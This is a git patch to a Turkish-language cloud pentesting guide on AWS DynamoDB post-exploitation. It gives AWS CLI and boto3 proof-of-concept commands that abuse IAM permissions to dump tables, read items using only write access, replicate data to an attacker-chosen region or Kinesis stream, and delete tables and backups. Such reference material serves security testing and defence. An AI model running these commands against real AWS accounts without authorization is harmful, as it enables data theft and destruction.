From 7d14d20a4a04077c7625c5a280d84ed98775d027 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 6 Oct 2025 11:26:47 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-dynamodb-post-exploitation.md | 314 +++++++++++++++--- 1 file changed, 273 insertions(+), 41 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index eec0e2e8e..f8a2738f2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -Daha fazla bilgi için kontrol edin: +Daha fazla bilgi için bakınız: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### `dynamodb:BatchGetItem` -Bu izinlere sahip bir saldırgan, **birincil anahtar ile tabloların içeriğini alabilecektir** (tablonun tüm verilerini isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunu tablo meta verilerini alarak (`describe-table`) öğrenebilirsiniz). +Bu izne sahip bir saldırgan, **tabloların birincil anahtarına göre öğeleri alabilir** (tablodaki tüm verileri doğrudan isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunu tablo meta verilerini alarak elde edebilirsiniz (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Olası Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme +**Potential Impact:** Tablodaki hassas bilgileri bularak dolaylı privesc ### `dynamodb:GetItem` -**Önceki izinlere benzer** bu izin, potansiyel bir saldırganın, alınacak girişin birincil anahtarını vererek yalnızca 1 tablodan değerleri okumasına olanak tanır: +**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırganın alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme +**Olası Etki:** Tablodaki hassas bilgileri bularak Indirect privesc ### `dynamodb:Query` -**Önceki izinlere benzer** bu izin, potansiyel bir saldırganın, alınacak girişin birincil anahtarını vererek yalnızca 1 tablodan değerleri okumasına olanak tanır. [Karşılaştırmaların bir alt kümesini](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmaya izin verir, ancak birincil anahtar ile izin verilen tek karşılaştırma (görünmesi gereken) "EQ" olduğundan, bir istekte tüm veritabanını almak için bir karşılaştırma kullanamazsınız. +**Önceki izinlere benzer şekilde** bu izin potansiyel bir saldırganın, alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmasına izin verir, ancak görünmesi gereken birincil anahtar ile izin verilen tek karşılaştırma "EQ" olduğu için tek bir istekte tüm veritabanını almak amacıyla karşılaştırma kullanamazsınız. {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme +**Potansiyel Etki:** Indirect privesc — tablodaki hassas bilgileri bularak ### `dynamodb:Scan` -Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**. +Bu izni kullanarak tabloyu kolayca **dump** edebilirsiniz. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme +**Potansiyel Etki:** Tabloda hassas bilgileri bularak dolaylı privesc ### `dynamodb:PartiQLSelect` -Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**. +Bu izni, **tüm tabloyu kolayca dump etmek** için kullanabilirsiniz. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Bu izin ayrıca `batch-execute-statement` gerçekleştirmeye de olanak tanır: +Bu izin ayrıca `batch-execute-statement` gibi işlemleri gerçekleştirmeye de izin verir: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden çok faydalı değil. +Ancak birincil anahtarı bir değerle belirtmeniz gerekir, bu yüzden çok kullanışlı değildir. -**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme +**Olası Etki:** Indirect privesc — tablodaki hassas bilgileri tespit ederek ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Bu izin, bir saldırgana **tüm tabloyu seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir: +Bu izin, saldırganın **tüm tabloyu seçtiği bir S3 bucket'ına dışa aktarmasına** izin verir: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Bu işlemin çalışması için tablonun point-in-time-recovery özelliğinin etkinleştirilmiş olması gerektiğini unutmayın, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz: +Bunun çalışması için tablonun point-in-time-recovery etkinleştirilmiş olması gerektiğini unutmayın; tablonun bunu sahip olup olmadığını şu şekilde kontrol edebilirsiniz: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Eğer etkin değilse, **etkinleştirmeniz** gerekecek ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız var: +Eğer etkin değilse, onu **etkinleştirmeniz** gerekir ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız vardır: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme +**Potential Impact:** Tabloda hassas bilgileri bularak dolaylı privesc -### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` +### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup`) -Bu izinlerle, bir saldırgan **bir yedekten yeni bir tablo oluşturma** (veya hatta bir yedek oluşturup bunu farklı bir tabloda geri yükleme) yeteneğine sahip olacaktır. Ardından, gerekli izinlere sahip olduğunda, **üretim** tablosunda artık bulunmayan **bilgileri** yedeklerden kontrol edebilecektir. +Bu izinlerle, bir saldırgan **yedekten yeni bir tablo oluşturabilir** (veya hatta bir yedek oluşturup bunu farklı bir tabloda geri yükleyebilir). Ardından, gerekli izinlerle, yedeklerden **bilgileri** kontrol ederek **üretim tablosunda artık bulunmayan** öğeleri görebilir. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki artırımı +**Olası Etki:** Dolaylı privesc — tablonun yedeğinde hassas bilgilerin bulunmasıyla ### `dynamodb:PutItem` -Bu izin, kullanıcıların **tabloya yeni bir öğe eklemesine veya mevcut bir öğeyi yeni bir öğe ile değiştirmesine** olanak tanır. Eğer aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe** yeni öğe ile değiştirilecektir. Eğer birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**. +Bu izin, kullanıcılara **tabloya yeni bir öğe eklemelerine veya var olan bir öğeyi yeni bir öğe ile değiştirmelerine** olanak tanır. Aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe yeni öğe ile değiştirilecektir**. Birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**. {{#tabs }} {{#tab name="XSS Example" }} @@ -192,7 +192,7 @@ aws dynamodb put-item --table --item file://add.json ``` {{#endtab }} -{{#tab name="AI Örneği" }} +{{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla güvenlik açığı/atlatma istismar etme +**Potansiyel Etki:** DynamoDB tablosuna veri ekleyip/değiştirme yeteneği ile ilave zaafiyetlerin/bypasses'ın kötüye kullanılması ### `dynamodb:UpdateItem` -Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Tüm öğeyi **değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar. +Bu izin, kullanıcılara bir öğenin mevcut özniteliklerini **değiştirme veya öğeye yeni öznitelikler ekleme** imkanı verir. Bu işlem tüm öğeyi **değiştirmez**; yalnızca belirtilen öznitelikleri günceller. Birincil anahtar tabloda mevcut değilse, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve update expression'ında belirtilen öznitelikleri ayarlar. {{#tabs }} {{#tab name="XSS Example" }} @@ -230,7 +230,7 @@ aws dynamodb update-item --table \ ``` {{#endtab }} -{{#tab name="AI Örneği" }} +{{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ @@ -242,62 +242,294 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme +**Olası Etki:** DynamoDB tablosuna veri ekleyip/değiştirerek daha fazla güvenlik açığı/bypasses istismarı ### `dynamodb:DeleteTable` -Bu izne sahip bir saldırgan **bir DynamoDB tablosunu silebilir, bu da veri kaybına neden olur.** +Bu izne sahip bir saldırgan **bir DynamoDB tablosunu silebilir ve veri kaybına neden olabilir**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Olası etki**: Silinen tabloya dayanan hizmetlerde veri kaybı ve kesinti. +**Olası etki**: Silinen tabloya bağlı hizmetlerde veri kaybı ve kesinti. ### `dynamodb:DeleteBackup` -Bu izne sahip bir saldırgan, **bir DynamoDB yedeğini silebilir, bu da bir felaket kurtarma senaryosunda veri kaybına neden olabilir**. +Bu izne sahip bir saldırgan **DynamoDB yedeğini silebilir, felaket kurtarma senaryosunda potansiyel olarak veri kaybına yol açabilir**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Olası etki**: Veri kaybı ve bir felaket kurtarma senaryosunda yedekten geri yükleme yapamama. +**Potansiyel etki**: Veri kaybı ve felaket kurtarma senaryosunda yedekten geri yükleyememe. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Bunun gerçekten çalışıp çalışmadığını test et +> TODO: Bunun gerçekten çalışıp çalışmadığını test edin -Bu izinlere sahip bir saldırgan, **bir DynamoDB tablosunda bir akışı etkinleştirebilir, tabloyu güncelleyerek değişiklikleri akıtmaya başlayabilir ve ardından tabloya yapılan değişiklikleri gerçek zamanlı olarak izlemek için akışı erişebilir**. Bu, saldırgana veri değişikliklerini izleme ve dışarıya aktarma imkanı tanır, bu da veri sızıntısına yol açabilir. +Bu izinlere sahip bir saldırgan **bir DynamoDB tablosunda bir akışı etkinleştirebilir, tabloda değişikliklerin akışını başlatmak için tabloyu güncelleyebilir ve ardından tablo değişikliklerini gerçek zamanlı olarak izlemek için akışa erişebilir**. Bu, saldırganın veri değişikliklerini izleyip exfiltrate etmesine olanak tanır; potansiyel olarak data leakage'e yol açabilir. -1. Bir DynamoDB tablosunda bir akışı etkinleştir: +1. Bir DynamoDB tablosunda bir akış etkinleştirin: ```bash -bashCopy codeaws dynamodb update-table \ +aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. ARN ve diğer detayları elde etmek için akışı tanımlayın: +2. ARN ve diğer detayları elde etmek için stream'i tanımlayın: ```bash -bashCopy codeaws dynamodb describe-stream \ +aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Akış ARN'sini kullanarak shard iterator'ı alın: +3. Stream ARN kullanarak shard iterator'ı alın: ```bash -bashCopy codeaws dynamodbstreams get-shard-iterator \ +aws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` -4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ı kullanın: +4. shard iterator'ı kullanarak stream'den verilere erişin ve exfiltrate edin: ```bash -bashCopy codeaws dynamodbstreams get-records \ +aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Olası etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı. +**Potential impact**: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve data leakage. + +### `dynamodb:UpdateItem` ve `ReturnValues=ALL_OLD` ile öğeleri okuma + +Bir tablo üzerinde yalnızca `dynamodb:UpdateItem` iznine sahip bir saldırgan, zararsız bir güncelleme yapıp `--return-values ALL_OLD` talep ederek normalde gereken okuma izinleri (`GetItem`/`Query`/`Scan`) olmadan öğeleri okuyabilir. DynamoDB, yanıtın `Attributes` alanında öğenin tam güncelleme öncesi görüntüsünü döner (bu, RCUs tüketmez). + +- Minimum izinler: hedef tablo/anahtar üzerinde `dynamodb:UpdateItem`. +- Önkoşullar: öğenin birincil anahtarını bilmelisiniz. + +Örnek (zararsız bir attribute ekler ve yanıt içindeki önceki öğeyi exfiltrate eder): +```bash +aws dynamodb update-item \ +--table-name \ +--key '{"":{"S":""}}' \ +--update-expression 'SET #m = :v' \ +--expression-attribute-names '{"#m":"exfil_marker"}' \ +--expression-attribute-values '{":v":{"S":"1"}}' \ +--return-values ALL_OLD \ +--region +``` +CLI yanıtı, önceki öğeyi (tüm öznitelikler) içeren bir `Attributes` bloğu döndürecektir; bu, yalnızca yazma iznine sahipken fiilen bir okuma ilkeline olanak sağlar. + +**Olası Etki:** Yalnızca yazma izinleriyle bir tablodan rastgele öğeleri okuyabilme; birincil anahtarlar bilindiğinde hassas veri sızdırılmasına olanak tanır. + + +### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` + +Yeni bir replica Region ekleyerek DynamoDB Global Table (version 2019.11.21) üzerinde gizli veri sızdırma. Eğer bir yetkili bölgesel bir replica ekleyebiliyorsa, tüm tablo saldırganın seçtiği Region'a çoğaltılır ve saldırgan buradan tüm öğeleri okuyabilir. + +{{#tabs }} +{{#tab name="PoC (default DynamoDB-managed KMS)" }} +```bash +# Add a new replica Region (from primary Region) +aws dynamodb update-table \ +--table-name \ +--replica-updates '[{"Create": {"RegionName": ""}}]' \ +--region + +# Wait until the replica table becomes ACTIVE in the replica Region +aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' + +# Exfiltrate by reading from the replica Region +aws dynamodb scan --table-name --region +``` +{{#endtab }} +{{#tab name="PoC (customer-managed KMS)" }} +```bash +# Specify the CMK to use in the replica Region +aws dynamodb update-table \ +--table-name \ +--replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ +--region +``` +{{#endtab }} +{{#endtabs }} + +İzinler: `dynamodb:UpdateTable` ( `replica-updates` ile) veya hedef tabloda `dynamodb:CreateTableReplica`. Replica'da CMK kullanılıyorsa, o anahtar için KMS izinleri gerekebilir. + +Potansiyel Etki: Saldırganın kontrolündeki bir Bölge'ye tam tablo replikasyonu, gizli veri sızdırmaya yol açabilir. + +### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) + +Transactional write ayrıcalıklarına sahip bir saldırgan, `TransactWriteItems` içinde kasıtlı olarak `ConditionExpression`'ı başarısız kılan ve `ReturnValuesOnConditionCheckFailure=ALL_OLD` olarak ayarlanan bir `Update` gerçekleştirerek mevcut bir öğenin tüm özniteliklerini sızdırabilir. Başarısızlık durumunda, DynamoDB işlem iptal sebeplerine önceki öznitelikleri ekler; bu da hedeflenen anahtarlar için yalnızca yazma erişimini okuma erişimine dönüştürür. + +{{#tabs }} +{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} +```bash +# Create the transaction input (list form for --transact-items) +cat > /tmp/tx_items.json << 'JSON' +[ +{ +"Update": { +"TableName": "", +"Key": {"": {"S": ""}}, +"UpdateExpression": "SET #m = :v", +"ExpressionAttributeNames": {"#m": "marker"}, +"ExpressionAttributeValues": {":v": {"S": "x"}}, +"ConditionExpression": "attribute_not_exists()", +"ReturnValuesOnConditionCheckFailure": "ALL_OLD" +} +} +] +JSON + +# Execute. Newer AWS CLI versions support returning cancellation reasons +aws dynamodb transact-write-items \ +--transact-items file:///tmp/tx_items.json \ +--region \ +--return-cancellation-reasons +# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item +``` +{{#endtab }} +{{#tab name="PoC (boto3)" }} +```python +import boto3 +c=boto3.client('dynamodb',region_name='') +try: +c.transact_write_items(TransactItems=[{ 'Update': { +'TableName':'', +'Key':{'':{'S':''}}, +'UpdateExpression':'SET #m = :v', +'ExpressionAttributeNames':{'#m':'marker'}, +'ExpressionAttributeValues':{':v':{'S':'x'}}, +'ConditionExpression':'attribute_not_exists()', +'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) +except c.exceptions.TransactionCanceledException as e: +print(e.response['CancellationReasons'][0]['Item']) +``` +{{#endtab }} +{{#endtabs }} + +İzinler: `dynamodb:TransactWriteItems` hedef tabloda (ve ilgili öğede). Okuma izinleri gerekli değildir. + +Potansiyel Etki: Sadece işlemsel yazma ayrıcalıkları kullanılarak ve döndürülen iptal nedenleri aracılığıyla bir tablodan (birincil anahtara göre) rastgele öğeler okunabilir. + + +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI + +Düşük entropili bir attribute üzerinde `ProjectionType=ALL` ile bir Global Secondary Index (GSI) oluşturarak okuma kısıtlamalarını aşın, bu attribute'u öğeler arasında sabit bir değere ayarlayın, ardından tam öğeleri almak için indeksi `Query` edin. Bu, temel tablo üzerinde `Query`/`Scan` reddedilmiş olsa bile, index ARN'sine sorgu yapabiliyorsanız çalışır. + +- Gerekli minimum izinler: +- `dynamodb:UpdateTable` hedef tabloda (GSI'yi `ProjectionType=ALL` ile oluşturmak için). +- `dynamodb:UpdateItem` hedef tablo anahtarlarında (her öğe için indexlenen özniteliği ayarlamak üzere). +- `dynamodb:Query` index resource ARN üzerinde (`arn:aws:dynamodb:::table//index/`). + +Adımlar (PoC us-east-1'de): +```bash +# 1) Create table and seed items (without the future GSI attribute) +aws dynamodb create-table --table-name HTXIdx \ +--attribute-definitions AttributeName=id,AttributeType=S \ +--key-schema AttributeName=id,KeyType=HASH \ +--billing-mode PAY_PER_REQUEST --region us-east-1 +aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 +for i in 1 2 3 4 5; do \ +aws dynamodb put-item --table-name HTXIdx \ +--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ +--region us-east-1; done + +# 2) Add GSI on attribute X with ProjectionType=ALL +aws dynamodb update-table --table-name HTXIdx \ +--attribute-definitions AttributeName=X,AttributeType=S \ +--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ +--region us-east-1 +# Wait for index to become ACTIVE +aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ +--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' + +# 3) Set X="dump" for each item (only UpdateItem on known keys) +for i in 1 2 3 4 5; do \ +aws dynamodb update-item --table-name HTXIdx \ +--key "{\"id\":{\"S\":\"$i\"}}" \ +--update-expression 'SET #x = :v' \ +--expression-attribute-names '{"#x":"X"}' \ +--expression-attribute-values '{":v":{"S":"dump"}}' \ +--region us-east-1; done + +# 4) Query the index by the constant value to retrieve full items +aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ +--key-condition-expression '#x = :v' \ +--expression-attribute-names '{"#x":"X"}' \ +--expression-attribute-values '{":v":{"S":"dump"}}' \ +--region us-east-1 +``` +**Potential Impact:** Tüm öznitelikleri projekte eden yeni oluşturulmuş bir GSI sorgulanarak, temel tablo okuma API'leri reddedilmiş olsa bile tam tablonun dışa aktarılması. + + +### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams aracılığıyla sürekli dışa aktarım) + +DynamoDB Kinesis streaming destinations'ı kötüye kullanarak bir tablodaki değişiklikleri saldırganın kontrolündeki bir Kinesis Data Stream'e sürekli olarak dışa aktarma. Etkinleştirildiğinde, her INSERT/MODIFY/REMOVE olayı tablo üzerinde okuma izinlerine ihtiyaç olmadan neredeyse gerçek zamanlı olarak stream'e iletilir. + +Minimum izinler (saldırgan): +- `dynamodb:EnableKinesisStreamingDestination` on the target table +- Opsiyonel olarak `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` durumu izlemek için +- Kayıtları tüketmek için saldırganın sahip olduğu Kinesis stream üzerinde okuma izinleri: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` + +
+PoC (us-east-1) +```bash +# 1) Prepare: create a table and seed one item +aws dynamodb create-table --table-name HTXKStream \ +--attribute-definitions AttributeName=id,AttributeType=S \ +--key-schema AttributeName=id,KeyType=HASH \ +--billing-mode PAY_PER_REQUEST --region us-east-1 +aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 +aws dynamodb put-item --table-name HTXKStream \ +--item file:///tmp/htx_item1.json --region us-east-1 +# /tmp/htx_item1.json +# {"id":{"S":"a1"},"secret":{"S":"s-1"}} + +# 2) Create attacker Kinesis Data Stream +aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 +aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 + +# 3) Enable the DynamoDB -> Kinesis streaming destination +STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ +--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) +aws dynamodb enable-kinesis-streaming-destination \ +--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 +# Optionally wait until ACTIVE +aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ +--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus + +# 4) Generate changes on the table +aws dynamodb put-item --table-name HTXKStream \ +--item file:///tmp/htx_item2.json --region us-east-1 +# /tmp/htx_item2.json +# {"id":{"S":"a2"},"secret":{"S":"s-2"}} +aws dynamodb update-item --table-name HTXKStream \ +--key file:///tmp/htx_key_a1.json \ +--update-expression "SET #i = :v" \ +--expression-attribute-names {#i:info} \ +--expression-attribute-values {:v:{S:updated}} \ +--region us-east-1 +# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} + +# 5) Consume from Kinesis to observe DynamoDB images +SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ +--query Shards[0].ShardId --output text) +IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ +--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) +aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json +# Decode one record (Data is base64-encoded) +jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . + +# 6) Cleanup (recommended) +aws dynamodb disable-kinesis-streaming-destination \ +--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true +aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true +aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true +``` +
+ +**Olası Etki:** Tablo değişikliklerinin, tablo üzerinde doğrudan okuma işlemi yapılmaksızın saldırgan kontrollü bir Kinesis stream'ine sürekli, neredeyse gerçek zamanlı exfiltration edilmesi. {{#include ../../../banners/hacktricks-training.md}}